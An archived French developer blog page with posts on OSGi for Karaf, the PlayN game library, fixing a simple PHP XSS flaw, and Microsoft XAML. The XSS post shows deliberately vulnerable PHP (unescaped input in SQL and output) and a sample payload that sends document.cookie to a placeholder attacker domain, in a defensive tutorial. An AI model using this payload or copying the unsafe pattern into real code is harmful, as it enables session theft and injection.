Archive for 17/03/2013

image_pdfimage_print

Développement OSGi pour serveur Karaf – Part 1

Ce post est le premier d’une série concernant le développement d’applications OSGi pour Apache Karaf. Apache Karaf est un conteneur OSGi (basé sur Equinox ou Felix au choix).

Read more

PlayN une librairie multi-plateforme pour développer des jeux

Logo PlayN

Quel développeur n’a jamais rêvé de développer son propre jeu vidéo ? Je pense même que la majorité des développeurs s’y sont risqués, que ce soit à leurs instants perdus, ou lors de projets d’étudiants. Toujours est-il que ce rêve d’enfant hante sûrement une majorité d’entre nous.

Nous avons aujourd’hui la chance de vivre une véritable révolution du monde vidéo ludique grâce à l’explosion du marché des smartphones et des tablettes. Le marché du jeu vidéo est en train de changer du tout au tout. Là où il y a quelques années il fallait débourser plusieurs dizaines d’euros pour acheter le moindre jeu vous pouvez maintenant trouver de véritables perles à moins de 1 euro. Les raisons de cette baisse de prix sont multiples, tout à d’abord le nombre de client potentiels à explosé, les temps de développement ont été réduits et de nouveaux mécanismes de paiement sont apparus (publicité, micro paiement in-app, …). Seul point noire à ce nouvel écosystème : la multitude de périphériques existants sur le marché et du coup la segmentation du marché.

Cette diversité contribue bien sûr à dynamiser et à étendre le marché mais il rend le travail des développeurs très compliqué. Il leur faut adapter leurs développements au plus grand nombre d’appareils (même s’ils se contentent en général de l’adapter aux plus vendus). Heureusement il existe aujourd’hui plusieurs frameworks qui permettent de développer facilement un jeu qui tournera sur un grand nombre de plateformes. Je vous propose aujourd’hui de découvrire rapidement l’une d’entre elle : PlayN 1

Présentation

Ce framework est issu du travail de Google, elle permet l’écriture d’application directement compatibles avec Java, Android, HTML5, Chrome, iOS et Flash. L’avantage d’une telle librairie est évidemment la simplicité de portage du code d’une plateforme à une autre. Si vous avez bien travaillé c’est en général transparent.

Afin de travailler avec PlayN il vous faudra :

  • Eclipse
  • Java 1.6+
  • Un client Git
  • Maven 3+
  • Idealement un environnement de développement Android et/ou iOs si vous voulez développer pour mobiles.

L’architecture standard d’un projet PlayN est assez simple. Elle repose sur Maven. Vous avez un projet principal composé de modules. Dans ces modules vous avez un module “core”, qui contient 90% de votre code, et un module par plateforme cible qui contiendra le code spécifique à chacune. En règle général vous n’aurez pas trop à y toucher, PlayN s’occupe de (presque) tout.

L’avantage de l’environnement de développement de PlayN est son côté multi-plateforme. En effet comme PlayN est capable de faire tourner votre code dans un environnement Java vous pourrez tester/debugger votre code directement sur votre ordinateur de développement. Fini les galères de déploiement sur un appareil connecté en USB, la lenteur du remote débuggeur. Bien entendu cela ne vous dispensera pas totalement de tests sur les appareils cibles, mais au moins le gros du travail est effectué sur une machine rapide. Autre avantage non moins important : vous pourrez utiliser tous vos outils habituels pour tester/debugger/profiler vos développements.

Le code

Le développement d’un jeu avec PlayN commence par une classe implémentant l’interface Game. Cette classe contiendra toute la logique de votre jeu dans seulement deux methodes.

En effet lorsqu’un jeu PlayN est demarré une sorte de boucle infinie se lance :

while (true) {
  game.update(...);
  game.paint(...);
}

Vous l’aurez sûrement compris, la méthode update s’occupera de mettre à jour l’état des objets de votre jeu, et la méthode paint dessinera à l’écran ce qu’il y a dessiner.

Une troisième méthode doit être implémentée : <code>public int updateRate();</code>. Cette méthode défini avec quelle période (en ms) vous voulez appeler la méthode update. Attention cela ne définit pas la fréquence des appels à paint. Paint sera toujours appelée aussi souvent que possible. paint et update prennent toutes deux en paramètre un float contenant le temps exact écoulé depuis le dernier appel. Dans paint ceci vous permettra d’interpoler l’état de vos objets entre deux appels à update, et dans update à savoir combien de temps s’est exactement écoulé depuis le dernier appel. Si vous ne faites pas d’interpolation dans paint vous risque de ne pas avoir d’animations fluides. En effet si vous faites du code simulant la chute d’une balle, sans interpolation cette dernière ne sera dessinée qu’aux positions calculées dans la méthode update. Imaginez un balle de 20 pixels de large qui se déplace de 50 pixels à chaque appel à update toutes les 50ms. Dans ce cas vous aurez une balle qui “saute” de 50 pixels en 50 pixels.

Architecture graphique

PlayN étant une libraire destinée à développer des jeux son API sert essentiellement à gérer des graphismes. Pour cela elle découpe l’affichage en couches (Layers). L’API définit un layer de base (root) qui contient une hiérarchie de layers. Les layers sont dessinés de manière automatique par l’API. Les layers peuvent être manipulés de manière simple par des transformations affines (rotations, déformations, déplacements, …).

Il existe plusieurs type de Layers dans PlayN :

  • ImageLayer : un layer représentant une image chargée à partir d’un fichier (PNG, BMP, …)
  • Canvas : un layer représentant une image où vous dessinez à la main (ou juste dessiner à la main)
  • ImmediateLayer : un layer dont le rendu est fait directement dans le framebuffer
  • SurfaceLayer : un layer dont le rendu est fait off-screen puis copié dans le framebuffer

Les contrôles

Tout jeu se doit d’interagir avec l’utilisateur. Pour cela PlayN propose plusieurs mécanismes de contrôles. L’API sait parfaitement gérer un clavier, une souris ou un écran tactile. Pour cela rien de plus simple, il suffit d’utiliser les objets de la classe PlayN correspondants à ce que l’on veut faire : PlayN.pointer(), PlayN.mouse(), PlayN.keyboard() et de jouer avec. L’API se veut assez simple et vous trouverez facilement ce que vous cherchez. Sachez juste que les points d’entrées aux différentes fonctions de l’API sont en général dans la classe PlayN qui n’est grosso-modo qu’un gros réservoir de méthodes statiques.

Conclusion

Si vous voulez réaliser votre vieux rêve d’enfant je vous conseille vivement d’aller jeter un coup d’oeil à cette librairie vraiment bien faite. En quelques heures vous pourrez obtenir vos premiers résultats et peut être même un mini jeu.

Sécurisation de faille XSS simple

Dans ce premier article sur les failles de sécurité web php nous allons entrevoir comment sécuriser un minimum (mais pas complètement) un type de faille xss simple.

La première chose à savoir est qu’il existe des failles de deux types:

  • les failles  xss non permanentes
  • les failles  xss permanentes.

Les failles non permanentes sont en général bien moins graves que les failles permanentes même si avec un peu d’ingénierie sociale il est possible d’en agrandir la portée. Rappelons-le, le maillon le plus faible de la chaîne représente le niveau général de sécurité d’un système et souvent il est plus facile de s’attaquer à un maillon humain faible qu’a une machine sécurisée.

Je vous laisse le loisir de vous renseigner sur Wikipédia qui fournit quelques informations de culture générale:

http://fr.wikipedia.org/wiki/Cross-site_scripting

Pour revenir à l’article nous allons voir comment sécuriser une faille simple qui pourrait apparaître sur un forum ou tout autre site qui permet d’enregistrer des données et de les faire afficher par d’autres utilisateurs.

Cas d’usage

Imaginons que dans notre site les données entrées par les utilisateurs ne soient pas traitées avant d’être soit enregistrées soit ré affichée…

Cela pourrait être le cas par exemple pour un script de ce genre:

dans inscription.php:

<?php
$id=$_GET['mail'];
// récupère la valeur dans l'url de l'attribut mail
//($_POST n'est pas réellement plus sécurisé)

$pass=$GET['password'];

mysql_query("INSERT into users ('id','mail','password', 'date_inscription')
values('','$mail','$password','') " );
// enregistre un user avec les valeurs passées dans l'URL

?>

et par exemple plus tard dans l’affichage des informations de cet utilisateur:


<?php

$id=5; // id de l'utilisateur 5

$res=mysql_query("SELECT * FROM users WHERE id='$id'");

$user5=mysql_fetch_assoc($res);

echo "voici les informations de l'utilisateur $id: mail :$user5['mail'],
password: $user5['password'], date inscription: $user5['date_inscription']";

?>

Ce script pourrait exister sur un site imaginaire par exemple www.exemple.fr Innocemment si je rentre dans mon navigateur l’url suivante: www.exemple.fr/inscription.php?mail=<script type= ’text/javascript’> alert(‘XSS!’); </script>&password=pass

D’une part le script va enregistrer un utilisateur avec un mail exécutant un code JavaScript et à chaque affichage de cet utilisateur nous aurons une popup avec le text « XSS ! » qui va s’affiche. De prime abord c’est un piratage anodin. Mais cela découvre la faille XSS. A la place de la fenêtre d’affichage on aurait très bien pu exécuter n’importe quel script javascript…

Mettons que maintenant l’attaquant veuille aller plus loin… et injecte dans l’url :

<script type="text/javascript">
var image = new Image();
image.src = "http://mycorsairesite?data=".concat(escape(document.cookie));
</script>

Son domaine mycorsaire site peut avoir récupéré tous les cookies de votre site. Notamment les cookies de session. Il est vrai que dans ce cas plusieurs failles sont cumulées mais ce n’est pas un cas rare.

Quelle parade contre le xss ?

Une parade assez simple contre ce genre d’attaques (qui ne résoudra pas tout mais répond aux cas basiques) est l’utilisation de la fonction php  htmlspecialchars… elle convertit les caractères spéciaux et les encode en HTML ce qui empêche l’interprétation du script comme du code et ne l’affichera que comme un banal texte.

Cette fonction répond à la protection MINIMALE de script surtout si vous hébergez des données sensibles. La protection minimale implique de contrôler toutes les variables fournies par l’utilisateur. Et ce au niveau du serveur car un client est tout à fait modifiable. Il est tout à fait possible par exemple de transformer les variables passées en POST dans une requête PHP et cela de façon très simple…

Rappelons le la protection minimale d’un site implique le contrôle rigoureux et systématique de toutes les variables utilisateurs (cookies, entrées de formulaires etc.).

Technologies Microsoft basées sur l’utilisation du XAML

Définition :

Le XAML (pour eXtensible Application Markup Language), language très proche du XML, permet de sérialiser des objets de manière hiérarchisée. Les possibilités sont nombreuses, Microsoft ayant décidé par exemple de baser la définition de ses workflows (produits par l’utilisation de la couche WorkFlow Fundation du Framework .Net) sur ce language. Il est majoritairement utilisé pour la création d’interfaces graphiques (UI) en imbriquant les composants, les uns dans les autres de manière déclarative.

Par exemple:


<Window x:Class="WpfSample.MainWindow"
        xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
        Title="WPF Sample" Height="350" Width="525">
    <Grid>
        <Button HorizontalContentAlignment="Stretch" VerticalContentAlignment="Stretch" Margin="15">
            <MediaElement Source="WPF Sample.wmv" Margin="15" />
        </Button>
    </Grid>
</Window>

Historique:

Depuis la diffusion de la version 3.0 du Framework .Net, l’emploi du XAML (majoritairement exploité dans la couche “Windows Presentation Foundation” du Framework, plus communément nommée “WPF”) a révolutionné le développement applicatif, en instaurant une vision nouvelle, autant au niveau graphique que fonctionnel.

Architecture du Framework .Net

L’arrivée de Windows 8 combinée avec les nouveautés au sein du Framework .Net, a bousculé la façon de concevoir et de développer des applications en y instaurant une règle importante pour fournir à l’utilisateur des interfaces graphiques réactives et fluides. Pour cela il est imposé au développeur d’utiliser des appels dit “Asynchrones” dès qu’un traitement est supposé durer plus de 50 ms.

Microsoft a également étendu le développement applicatif basé sur du XAML au C++ de manière native (C++/CX). L’utilisation du C++ garantit des performances accrues particulièrement appréciées dans le développement d’applications nécessitant une grande capacité de calcul, telles que : la simulation ou le jeux vidéo…

Info Microsoft présente les lignes directrices à suivre pour le développement d’un tel projet par l’utilisation d’une librairie nommée Hilo C++.

Ce qui a permis l’apparition d’interfaces de type “Modern UI” qui suivent étroitement ce modèle de développement.

Modern UI


Présentation technique :

La maturité de cette technologie à conduit à l’élargissement des supports utilisant le XAML. Par exemple : l’apparition des Windows Phone (WP 7 & 8) mettant un terme à la lignée des systèmes Windows Mobile, aux interfaces vieillissantes.

Plusieurs implémentations du XAML ont été réalisées par Microsoft pour permette le développement d’interfaces portables entre différents supports (chacune ayant ses spécificités), à savoir :

  • WPF, présente dans le Framework .Net depuis sa version 3.0
  • Silverlight *
  • Windows 8

Attention Il est cependant important de noter que la version du XAML implémentée dans la version 3.0 de Silverlight n’est pas forcément compatible avec sa version supérieure. Certains fichiers XAML peuvent ne pas être acceptés ou “parsé” de manière différente.

Technologies
utilisant le XAML
Windows Presentation Foundation LogoWPF SilverlightSilverlight Windows 8Windows 8 Windows Phone 8 LogoWindows Phone

L’emploi de cette technologie favorise la séparation du code métier et de l’interface graphique. De ce fait, des “Design Patterns” adaptés à ce modèle de développement ont été privilégiés. Parmi ces derniers, le MVP (Model-View-Presenter) et le MVVM (Model-View-ViewModel) sortent nettement du lot, par l’emploi de multiples Framework (Prism, nRoute, …) visant à diminuer le couplage entre les différentes couches logicielles.

Model View Presenter

Model View Presenter

Model View ViewModel

Model View ViewModel

L’utilisation de ces modèles de développement permet donc de confier à des designers la partie visuelle de l’application en vue d’y intégrer des améliorations (sans en impacter le développement fonctionnel). Dans la réalité des faits, il est bon de savoir que c’est rarement le cas (les outils mis à disposition des développeurs permettant une prise en main rapide de l’édition des interfaces graphiques).

Les outils

Pour éditer les interfaces décrites en XAML, Microsoft intègre à certains de ses outils un éditeur de type WYSIWYG :

  • Microsoft Expression Blend
  • Microsoft Visual Studio Visual Studio 2012 Express Edition

Il est néanmoins possible, du fait que le XAML est un format “texte”, d’éditer ces fichiers grâce à un éditeur classique tel que le “bloc note” ou encore des éditeurs spécialisés tels que XamlPad ou bien Kaxaml

Les références

  1. http://fr.wikipedia.org/wiki/XAML
  2. http://en.wikipedia.org/wiki/Windows_Runtime
  3. http://en.wikipedia.org/wiki/Windows_Runtime_XAML_Framework
  4. http://en.wikipedia.org/wiki/Extensible_Application_Markup_Language
  5. http://msdn.microsoft.com/en-us/library/vstudio/ms742398(v=vs.90).aspx
  6. http://kaxaml.com
  7. http://hilo.codeplex.com